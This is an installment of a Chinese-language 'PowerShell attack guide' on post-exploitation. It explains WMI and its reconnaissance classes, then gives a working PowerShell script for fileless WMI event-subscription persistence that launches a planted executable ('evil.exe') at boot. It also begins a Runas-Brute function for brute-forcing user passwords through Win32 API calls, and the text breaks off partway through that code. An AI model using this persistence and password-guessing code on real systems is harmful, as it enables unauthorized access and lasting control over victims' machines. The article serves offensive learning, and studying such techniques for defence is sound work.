Powershell攻击指南黑客后渗透之道系列——进阶利用
作者:香山
预估稿费:1000RMB
(本篇文章享受双倍稿费 活动链接请点击此处)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
此为Powershell攻击指南——黑客后渗透之道系列的第二篇进阶利用。此后每两天更新一篇,敬请期待!
传送门
前言
Wmi无疑是目前Windows攻击中用的最多的工具, 他强大的管理功能为我们带来了极大的便利, 而Powershell可以轻松的操作并利用它, 我们会用较大的篇幅来详细了解powershell与wmi的魅力。那么WMI我们简单介绍一些常识即可,主要还是介绍Powershell利用之。
本节分上下节, 上节主要讲解WMI的相关知识,下节主要讲解powershell利用WMI来进行一些攻击行为等
WMI简介
WMI 的全称是 Windows Management Instrumentation,即 Windows 管理规范,在 Windows 操作系统中,随着 WMI 技术的引入并在之后随着时间的推移而过时,它作为一项功能强大的技术,从 Windows NT 4.0 和 Windows 95 开始,始终保持其一致性。它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。
尽管已被大众所知并且从其创始以来,已经被系统管理员大量使用,但当WMI技术在震网病毒中被发现以后,它开始在安全社区变得非常流行。从那之后, WMI 在攻击中变得日益普及,其作用有执行系统侦察,反病毒和虚拟机检测,代码执行,横向运动,权限持久化以及数据窃取。 随着越来越多的攻击者利用 WMI 进行攻击,他将会是安全维护人员,事件响应人员,取证分析师必须掌握的一项重要技能,并且要明白如何发挥它的优势。
基础知识
刚开始接触WMI的朋友可能有点抓狂,我们下面先来看看我们需要知道的一些名词等:
如果你有研究下去的意愿, 还是推荐你阅读微软的文档msdn.microsoft.com
-
WMI是微软实现的由分布式管理任务组(DMTF)发布的基于 Web 的企业管理(WBEM)和公共信息模型(CIM)标准。也就是说DMTF发布了WBEM和CIM
-
使用 WMI: 微软提供了多种使用WMI的方式,我们就直接使用Powershell来管理
-
查询 WMI: 查询上WMI有专门的WMI 查询语言(WQL), 类似SQL语言
-
WMI是如何得到数据的: 当用户请求WMI对象时,WMI 服务 (Winmgmt) 需要知道如何返回被请求的 WMI 对象。当 WMI 服务填充 WMI 对象时,有两种类型的类实例: 动态对象和持久性对象。动态对象是在特定查询执行时在运行过程中生成的。例如,Win32_Process 对象就是在运行过程中动态生成的。持久性对象存储在位于
%SystemRoot%System32wbemRepository
的 CIM 数据库中,它存储着 WMI 类的实例,类的定义和命名空间的定义。 -
远程传输 WMI 数据: Microsoft 提供了两个协议用于远程传输 WMI 数据: 分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。一般来说我们是通过DCOM来进行通信的,也就是我们的135端口的RPC服务。
-
WMI的命名空间: 如果不制定命名空间那么ROOTCIMV2是WMI的默认命名空间, 可以在注册表
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWBEMScripting
进行修改
下面一张Fireeye图介绍了WMI的结构:
WMI管理工具
下面借用Fireeye对wmi工具的介绍:
wmic.exe
wmic.exe 是一个与 WMI 进行交互的强大的命令行实用工具。它拥有大量的 WMI 对象的方便记忆的默认别名,但你还可以执行更为复杂的查询。wmic.exe 还可以执行 WMI 方法,攻击者经常用来通过调用 Win32_Process 的 Create 方法来进行横向运动。Wmic.exe 的局限性之一是不能接受调用嵌入的 WMI 对象的方法。在 PowerShell 不可用的情况下,使用 wmic.exe 足够用于执行系统侦察和基本方法的调用。
wbemtest.exe
wbemtest.exe 是一个功能强大的带有图形界面的 WMI 诊断工具。它能够枚举对象实例、执行查询、注册事件、修改 WMI 对象和类,并且可以在本地或远程去调用方法。它的接口对大多数用户来说不是特别友好,但从攻击者的角度来看,在其他工具不可用时,它完全可以作为替代选项 —— 例如,如果应用程序白名单机制阻止了 wmic.exe 和 powershell.exe,那么 wbemtest.exe 将是一个带有一个不太理想的 UI (如图 3 所示)但是功能却很强大的实用工具。
winrm.exe
VBScript and JScript
这两个脚本语言相信不用我介绍了,同样也可以操作WMI
wmic, wmis, wmis-pth(Linux)
wmic 是一个简单的 Linux 命令行实用工具,用于执行 WMI 查询。wmis 是 Win32_Process 类的 Create 方法的远程调用命令行包装程序,并且支持使用 NTLM 哈希进行连接远程计算机,因此, wmis 已经被渗透测试人员大量使用。
Powershell
emmmmm…Powershell就不多说了,看下面吧。
Powershell—WMI
首先来看看命令吧:
在Powershell中使用标准WQL对WMI操作
SELECT * FROM Win32_Process WHERE Name LIKE "% WinRM%"
我们可以使用参数-query
进行查询:上面的命令是查询进程中名字为WinRM的进程Get-WmiObject -Query "select * from win32_service where name='WinRM'" | Format-List -Property PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status
使用Ps提供的WMI接口
Get-WmiObject -Namespace ROOTCIMV2 -Class Win32_OperatingSystem
其中ROOTCIMV2
是一个默认的命名空间, 类Win32_OperatingSystem
是获取机器的信息, 这里对应到我们的wmic.exe的命令就是wmic /NAMESPACE:"rootCIMV2" PATH Win32_OperatingSystem
, 那么还有很多类可以调用,比如:Get-WmiObject -Class Win32_Process
,这条命令会获取到所有的本地计算机的进程,我们选择一个进程来查看Get-WmiObject -Class Win32_Process | Where-Object {$_.name -like "*explorer*"}
显示如下:
__GENUS : 2
__CLASS : Win32_Process
__SUPERCLASS : CIM_Process
__DYNASTY : CIM_ManagedSystemElement
__RELPATH : Win32_Process.Handle="2828"
__PROPERTY_COUNT : 45
__DERIVATION : {CIM_Process, CIM_LogicalElement, CIM_ManagedSystemElement}
__SERVER : WIN-0B8BJI54VH7
__NAMESPACE : rootcimv2
__PATH : \WIN-0B8BJI54VH7rootcimv2:Win32_Process.Handle="2828"
Caption : explorer.exe
CommandLine : C:WindowsExplorer.EXE
CreationClassName : Win32_Process
CreationDate : 20171019151524.230494+480
CSCreationClassName : Win32_ComputerSystem
CSName : WIN-0B8BJI54VH7
Description : explorer.exe
ExecutablePath : C:WindowsExplorer.EXE
ExecutionState :
Handle : 2828
HandleCount : 993
InstallDate :
KernelModeTime : 570183655
MaximumWorkingSetSize : 1380
MinimumWorkingSetSize : 200
Name : explorer.exe
OSCreationClassName : Win32_OperatingSystem
OSName : Microsoft Windows 7 专业版 |C:Windows|DeviceHarddisk0Partition1
OtherOperationCount : 446903
OtherTransferCount : 13797646
PageFaults : 762204
PageFileUsage : 50548
ParentProcessId : 1060
PeakPageFileUsage : 72548
PeakVirtualSize : 469929984
PeakWorkingSetSize : 106956
Priority : 8
PrivatePageCount : 51761152
ProcessId : 2828
QuotaNonPagedPoolUsage : 78
QuotaPagedPoolUsage : 659
QuotaPeakNonPagedPoolUsage : 91
QuotaPeakPagedPoolUsage : 820
ReadOperationCount : 22670
ReadTransferCount : 343804812
SessionId : 1
Status :
TerminationDate :
ThreadCount : 32
UserModeTime : 323078071
VirtualSize : 386273280
WindowsVersion : 6.1.7601
WorkingSetSize : 71655424
WriteOperationCount : 1163
WriteTransferCount : 50207671
ProcessName : explorer.exe
Handles : 993
VM : 386273280
WS : 71655424
Path : C:WindowsExplorer.EXE
那么wmi有什么作用, 这里powershell调用即可,比如我们的远程调用:
C:PS>get-wmiobject -query "select * from win32_service where name='WinRM'" -computername server01, server02
ExitCode : 0
Name : WinRM
ProcessId : 1708
StartMode : Auto
State : Running
Status : OK
ExitCode : 0
Name : WinRM
ProcessId : 948
StartMode : Auto
State : Running
Status : OK
那么我们常用的类包括下面的几种:
下面的 WMI 类是在攻击的侦察阶段可以收集数据的子集:
主机/操作系统信息:Win32_OperatingSystem, Win32_ComputerSystem
文件/目录列举: CIM_DataFile
磁盘卷列举: Win32_Volume
注册表操作: StdRegProv
运行进程: Win32_Process
服务列举: Win32_Service
事件日志: Win32_NtLogEvent
登录账户: Win32_LoggedOnUser
共享: Win32_Share
已安装补丁: Win32_QuickFixEngineering
比如这里获取到的补丁信息:
PS C:Usersrootclay> Get-WmiObject -Class Win32_QuickFixEngineering
Source Description HotFixID InstalledBy InstalledOn
------ ----------- -------- ----------- -----------
WIN-0B8BJI... Hotfix KB2534111 2017/9/6 0:00:00
WIN-0B8BJI... Update KB2999226 WIN-0B8BJI54VH7r... 2017/10/25 0:00:00
WIN-0B8BJI... Update KB976902 WIN-0B8BJI54VH7A... 2010/11/21 0:00:00
WMI触发器
WMI用处可以说是非常的多,但是我们不能一一列举,我们就用一个wmi在攻防中用的最神化的一个功能,无文件持久化控制的例子来举一个实际例子:
那么想要了解到wmi的这项功能,我们先来看看wmi事件的基础:
事件触发条件
-
事件筛选器
事件筛选器是什么呢?事件筛选器描述事件并且执行WQL事件查询。
-
事件消费者
事件消费者是什么呢?事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。我们常用的消费类有下面两个:
-
ActiveScriptEventConsumer – 执行嵌入的 VBScript 或 JScript 脚本 payload
-
CommandLineEventConsumer – 执行一个命令行程序
-
-
消费者绑定筛选器
消费者绑定筛选器?消费者绑定筛选器就是将筛选器绑定到消费者的注册机制。
实例代码
下面我们分析一个实例代码:其中第5个变量为事件筛选器、第6个变量为事件消费者、最后一个就是绑定事件筛选器和事件消费者,也就是通俗理解的执行。这个脚本能达到什么效果呢?事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器。在事件被触发时事件消费者会使用CommandLineEventConsumer
执行已指定好的可执行文件。
$filterName='BotFilter82'
$consumerName='BotConsumer23'
$exePath='C:WindowsSystem32evil.exe'
$Query=”SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320”
$WMIEventFilter=Set-WmiInstance -Class__EventFilter -NameSpace ”rootsubscription” -Arguments @
{Name=$filterName;EventNameSpace=”root
cimv2”;QueryLanguage=”WQL”;Query=$Query}
-ErrorActionStop
$WMIEventConsumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace” root
subscription” -Arguments @=$consumerName;ExecutablePa
th=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance-Class__FilterToConsumerBinding -Namespace ”rootsubscription” -Arguments
@{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
同时我们可以通过Powersploit的代码即可,代码会在本目录下生成类似于上面的Powershell代码,直接运行即可。
生命周期
对于我们安装的wmi事件,如果你是使用普通用户权限启动的那么他的生命周期就是主进程的生命周期,如果使用的是管理员的权限运行的,那么就能够达到持久化控制的效果。
powershell(8)-win32API
Powershell还有一大强大之处就是能调用Win32-Api(废话),这给我们带来了极大的便利,也就是API能实现的功能当我们在渗透的过程中我们能轻而易举的实现,而我们只需要在对方机器执行一条命令即可。
下面我们通过几个脚本来介绍我们如何通过Powershell来调用Win32Api,从而达到学习的目的,也能够为大家的脚本工具增添xx….:)
Runas
runas.exe是一个Windows自带的程序,一条简单的命令runas /user:corpbob cmd
可以用域内另外一个用户的身份开一个shell,当然需要你输入密码
这次我们直接通过Powershell来实现runas,但是我们就不介绍他直接的用处了,那么runas我们能想到的利用场景还有什么呢?我们可以通过输入密码对用户的密码进行爆破。
function Runas-Brute {
<#
.SYNOPSIS
Parameters:
-UserList Specifiy usernameList.
-PasswordList Specify passwordList.
-Domain Specify domain. Defaults to localhost if not specified.
-LogonType dwLogonFlags:
0x00000001 --> LOGON_WITH_PROFILE
Log on, then load the user profile in the HKEY_USERS registry
key. The function returns after the profile is loaded.
0x00000002 --> LOGON_NETCREDENTIALS_ONLY (= /netonly)
Log on, but use the specified credentials on the network only.
The new process uses the same token as the caller, but the
system creates a new logon session within LSA, and the process
uses the specified credentials as the default credentials.
-Binary Full path of the module to be executed.
-Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults
to $null if not specified.
.EXAMPLE
Start cmd with a local account
C:PS> Invoke-Runas -UserList SomeAccountList -PasswordList SomePassList -Binary C:WindowsSystem32cmd.exe -LogonType 0x1
.EXAMPLE
Start cmd with remote credentials. Equivalent to "/netonly" in runas.
C:PS> Invoke-Runas -UserList SomeAccountList -PasswordList SomePassList -Domain SomeDomain -Binary C:WindowsSystem32cmd.exe -LogonType 0x2
#>
param (
[Parameter(Mandatory = $True)]
[string]$UserList,
[Parameter(Mandatory = $True)]
[string]$PasswordList,
[Parameter(Mandatory = $False)]
[string]$Domain=".",
[Parameter(Mandatory = $True)]
[string]$Binary,
[Parameter(Mandatory = $False)]
[string]$Args=$null,
[Parameter(Mandatory = $True)]
[int][ValidateSet(1,2)]
[string]$LogonType
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;